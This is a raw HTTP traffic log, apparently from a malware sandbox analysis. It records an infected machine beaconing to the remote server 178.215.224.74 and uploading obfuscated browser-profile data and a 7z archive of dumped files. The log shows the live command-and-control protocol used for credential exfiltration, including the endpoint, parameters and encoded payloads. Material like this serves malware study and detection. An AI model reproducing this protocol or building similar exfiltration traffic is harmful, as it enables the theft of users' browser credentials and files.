Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:19.657141924 CET	629	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 335 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 6b 79 4d 44 45 34 4b 44 4d 25 32 46 4f 43 77 77 4d 7a 63 73 4d 44 49 32 4a 6a 6f 33 4d 46 74 43 58 54 45 77 4d 43 6f 78 4d 6a 67 7a 4d 69 6f 78 4e 54 6f 75 4d 6a 4d 31 4c 6a 49 77 4e 43 59 33 4e 6c 6c 41 58 54 4d 77 4d 69 67 7a 4d 44 49 7a 4d 79 6f 78 4e 7a 6f 6d 4d 44 45 31 4a 6a 41 77 50 43 34 31 4e 6c 6c 43 58 7a 41 71 4d 44 67 39 4b 45 45 36 58 6c 56 7a 5a 58 4a 7a 58 47 68 6e 62 47 56 7a 58 45 4e 79 63 45 52 6a 64 47 46 63 55 47 39 70 62 57 74 73 5a 31 78 47 62 32 35 79 61 6d 6c 73 52 6e 64 74 63 48 4e 65 65 58 74 31 63 43 5a 34 61 33 68 62 51 6c 38 7a 4d 6a 49 6f 4d 54 49 35 4f 6a 45 6f 51 7a 68 63 56 58 4e 6c 63 6e 4e 65 59 6d 31 75 5a 58 4e 65 51 33 42 77 52 6d 46 30 59 56 35 53 5a 32 46 76 61 32 35 6e 58 6b 52 74 62 6e 4a 6f 61 32 78 47 64 57 31 77 63 56 52 7a 65 58 56 34 4c 48 68 68 63 46 6c 43 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTAwKDkyMDE4KDM%2FOCwwMzcsMDI2Jjo3MFtCXTEwMCoxMjgzMioxNTouMjM1LjIwNCY3NllAXTMwMigzMDIzMyoxNzomMDE1JjAwPC41NllCXzAqMDg9KEE6XlVzZXJzXGhnbGVzXENycERjdGFcUG9pbWtsZ1xGb25yamlsRndtcHNeeXt1cCZ4a3hbQl8zMjIoMTI5OjEoQzhcVXNlcnNeYm1uZXNeQ3BwRmF0YV5SZ2Fva25nXkRtbnJoa2xGdW1wcVRzeXV4LHhhcFlCXw%3D%3D
Nov 21, 2024 20:02:20.989624977 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:20 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	50072	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:20.657553911 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:22.030884981 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:21 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	50073	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:21.233371019 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:22.497236967 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:22 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	50074	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:22.237582922 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:23.593422890 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:23 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	50075	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:22.696929932 CET	97	OUT	GET /v10/ukyh.php?jspo=8 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:24.028208971 CET	336	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:23 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Content-Length: 112 Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 46 73 63 57 31 2b 4b 69 6f 69 51 6e 5a 36 64 57 64 43 64 6e 42 33 5a 79 6f 7a 4f 69 4a 6b 59 32 78 78 5a 58 35 6d 59 57 78 7a 5a 33 5a 43 64 48 4a 31 5a 79 68 6d 59 57 35 7a 5a 55 42 32 63 6e 31 6c 51 6d 52 68 62 48 46 6c 4b 43 67 6f 4b 6b 4a 6b 59 32 78 7a 5a 53 68 30 66 6b 42 6d 61 57 35 78 62 55 42 43 64 6e 42 33 5a 77 3d 3d Data Ascii: ZmFscW1+KioiQnZ6dWdCdnB3ZyozOiJkY2xxZX5mYWxzZ3ZCdHJ1ZyhmYW5zZUB2cn1lQmRhbHFlKCgoKkJkY2xzZSh0fkBmaW5xbUBCdnB3Zw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	50076	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:24.267383099 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:25.600330114 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:25 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	50077	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:24.315921068 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:25.579082012 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:25 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	50078	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:26.054496050 CET	136	OUT	GET /v10/ukyh.php?jspo=2021&jwvs=9A5605DE11447A0E2031624EE8FBDE HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:27.427364111 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:27 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	50079	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:26.062470913 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:27.371377945 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:27 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	50080	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:27.697149992 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:29.023269892 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:28 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	50081	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:28.002587080 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:29.314779997 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:29 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	50082	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:29.198939085 CET	295	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 8387 Cache-Control: no-cache
Nov 21, 2024 20:02:29.199002028 CET	8387	OUT	Data Raw: 6a 73 70 6f 3d 32 30 31 34 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 54 47 31 6b 64 47 6f 77 5a 48 4e 53 55 54 64 69 59 6a 41 79 4a 7a 46 47 66 6c 52 70 5a 45 31 Data Ascii: jspo=2014&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=TG1kdGowZHNSUTdiYjAyJzFGflRpZE1%2BTncnM0QlM0R8T1xPek5UWzBNVGUyTURPMkdEW3pPVE8lMUZ%2BTVMnMUQlM0Z0T1ElO0YnO0R%2BZmhHdTElMEpjJzBCRDJBJTJGckk5Wk9YMkBaVXE0cFkyTkJLT3htWE9GaUhscHJ0RmBEc1BVYVt3S1JtdW
Nov 21, 2024 20:02:30.513305902 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:30 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8
Nov 21, 2024 20:02:32.047432899 CET	295	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 2463 Cache-Control: no-cache
Nov 21, 2024 20:02:32.047487974 CET	2463	OUT	Data Raw: 6a 73 70 6f 3d 32 30 31 35 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 59 55 68 53 4d 6d 74 4b 54 54 5a 45 65 7a 74 6d 59 6e 73 33 64 6d 4e 56 54 48 6c 67 4f 30 5a Data Ascii: jspo=2015&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=YUhSMmtKTTZEeztmYns3dmNVTHlgO0Z0WG5TdVkyOXRMMFIxYkdsd2N5OCcyRmJFbH1hMG5rUFZnM09WVTJMZSUzRCc7RnxSUGpqalhAcVhaT2ViMFFvVjBab2FXTmxJSEBxYDJSMVsxUWdjMlY1YXlJdEtHMXBbM0h0YTI7b2ZDQlRmUEB3YjtIMkhhSlAy
Nov 21, 2024 20:02:32.480151892 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:32 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8
Nov 21, 2024 20:02:34.031821966 CET	295	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 1699 Cache-Control: no-cache
Nov 21, 2024 20:02:34.031888962 CET	1699	OUT	Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 49 33 4b 44 41 7a 4f 43 70 4c 4f 46 35 64 63 32 64 77 63 56 35 6f 62 57 35 6e 65 31 52 44 63 Data Ascii: jspo=34&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTI3KDAzOCpLOF5dc2dwcV5obW5ne1RDcnBGYXRhXExvYWluXEdvbWVsZV5DaHJtbW1cV3FlciJEY3ZjXFJwbWZpbGcoM1tAVTMwPyo6MzooQThcV3ttcHFcaG9uZXNcQXJ4RmF0YV5Ob2NjbFxHbW9vbGdeQ2hwb29nXlVxZ3AgRGF2aV5Qcmdka2RlIjBZQl
Nov 21, 2024 20:02:34.468791008 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:34 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8
Nov 21, 2024 20:02:36.265197992 CET	427	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 133 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 49 33 4b 44 6b 7a 4d 43 70 4c 4f 46 35 64 63 32 64 77 63 56 35 6f 62 57 35 6e 65 31 52 44 63 6e 42 47 59 58 52 68 58 46 4a 76 59 32 56 72 62 6d 64 63 54 32 31 36 61 57 35 73 59 56 78 45 61 58 70 6c 5a 47 31 34 58 46 6c 41 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTI3KDkzMCpLOF5dc2dwcV5obW5ne1RDcnBGYXRhXFJvY2VrbmdcT216aW5sYVxEaXplZG14XFlAXw%3D%3D
Nov 21, 2024 20:02:36.688836098 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:36 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8
Nov 21, 2024 20:02:38.918868065 CET	300	OUT	POST /v10/ukyh.php?uvyw=6 HTTP/1.1 Content-Type: multipart/form-data; boundary=----974767299852498929531610575 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 29747 Cache-Control: no-cache
Nov 21, 2024 20:02:38.918972969 CET	24720	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 37 34 37 36 37 32 39 39 38 35 32 34 39 38 39 32 39 35 33 31 36 31 30 35 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 Data Ascii: ------974767299852498929531610575Content-Disposition: form-data; name="file"; filename="C:\Users\user\AppData\Roaming\DolphinDumps\9A5605DE11447A0E2031624EE8FBDE_ff.7z"Content-Type: application/octet-stream7z'wr$
Nov 21, 2024 20:02:39.038619995 CET	1236	OUT	Data Raw: 36 6c f3 f1 ce 4c bb d2 ba d9 b1 9d 54 7d e4 74 20 41 f2 b1 5a 8e f6 90 53 c4 17 94 8b 7e ee bd 2c b7 6a 6d 38 0a 07 54 4e 64 a7 0b 9d 2d a2 bc 47 bf ac 63 93 34 68 6c 0c a4 bb b7 a0 3d 0f 28 41 bc 8e 09 8d 7f e4 5a 26 5b c1 a7 77 7a f1 2c 59 b0 Data Ascii: 6lLT}t AZS~,jm8TNd-Gc4hl=(AZ&[wz,YzdKL;Oho-uy{1('Ee1gC%TxKpN)tQ+'^(2:-{[.CF*'}6,8<AN"UiML7/Qel5XxY-DW0T
Nov 21, 2024 20:02:39.038784027 CET	2472	OUT	Data Raw: 01 12 f6 ad 31 1e fd 69 a7 50 cc e5 0e d7 eb bd 71 da d3 31 fc f7 8b 7b 52 fc 73 5b e0 9f d0 10 fe 22 c1 8c 61 aa 80 92 aa 8e 39 72 88 d5 59 07 99 9b 4c 12 f3 e4 c0 68 03 6c 01 92 e4 bc 13 ad 23 4b 11 17 d1 61 74 17 a9 01 16 36 aa 37 e6 64 b8 e0 Data Ascii: 1iPq1{Rs["a9rYLhl#Kat67dE)S2e>rq&-I+^%bg(8ogKr;WU8:@)XDkY1s]#es@uII?r#nH#Ykk(,_ &r,JZsE
Nov 21, 2024 20:02:39.038881063 CET	1319	OUT	Data Raw: 80 1d 93 14 14 4e 3c 9f b1 66 51 9f b2 18 36 99 1c f4 7b cc 31 52 54 ee 94 10 66 ff af 45 ce d0 88 cb 84 38 db 0e 3e 9e c4 43 da ea 29 fd 98 c8 f9 ba 69 32 7e 61 49 77 e3 d5 bc fd 87 79 e7 58 90 73 97 23 83 15 f0 12 68 d6 13 16 df 06 01 3b fc 11 Data Ascii: N<fQ6{1RTfE8>C)i2~aIwyXs#h;;1`^b&y=B1)[5>v4vuo1Ut);Mj@bpW%D{I"Cy"6}AzEENAAn[c:$0Nu~,6&!
Nov 21, 2024 20:02:39.500746965 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:39 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	50083	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:30.193702936 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:31.552397013 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:31 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	50084	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:30.732347012 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:31.994302034 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:31 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	50085	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:32.319092989 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:33.591794968 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:33 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	50086	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:32.689687014 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:34.010883093 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:33 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	50087	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:33.822293043 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:35.180377007 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:34 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	50088	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:34.885240078 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:36.151442051 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:35 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	50089	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:35.799936056 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:37.117151022 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:36 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	50090	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:37.571372032 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:38.912961960 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:38 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	50091	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:37.584041119 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:38.908029079 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:38 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	50092	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:39.983726025 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:41.290039062 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:41 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	50093	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:40.169918060 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:41.536570072 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:41 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	50094	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:41.497349024 CET	176	OUT	GET /v10/ukyh.php?jspo=3002&melq=e3ad1d0b2449c169e66efe472513a3776&jwvs=9A5605DE11447A0E2031624EE8FBDE HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /*
Nov 21, 2024 20:02:42.797537088 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:42 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 74 72 75 65 Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	50095	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:41.781832933 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:43.138716936 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:42 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	50096	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:44.272073030 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
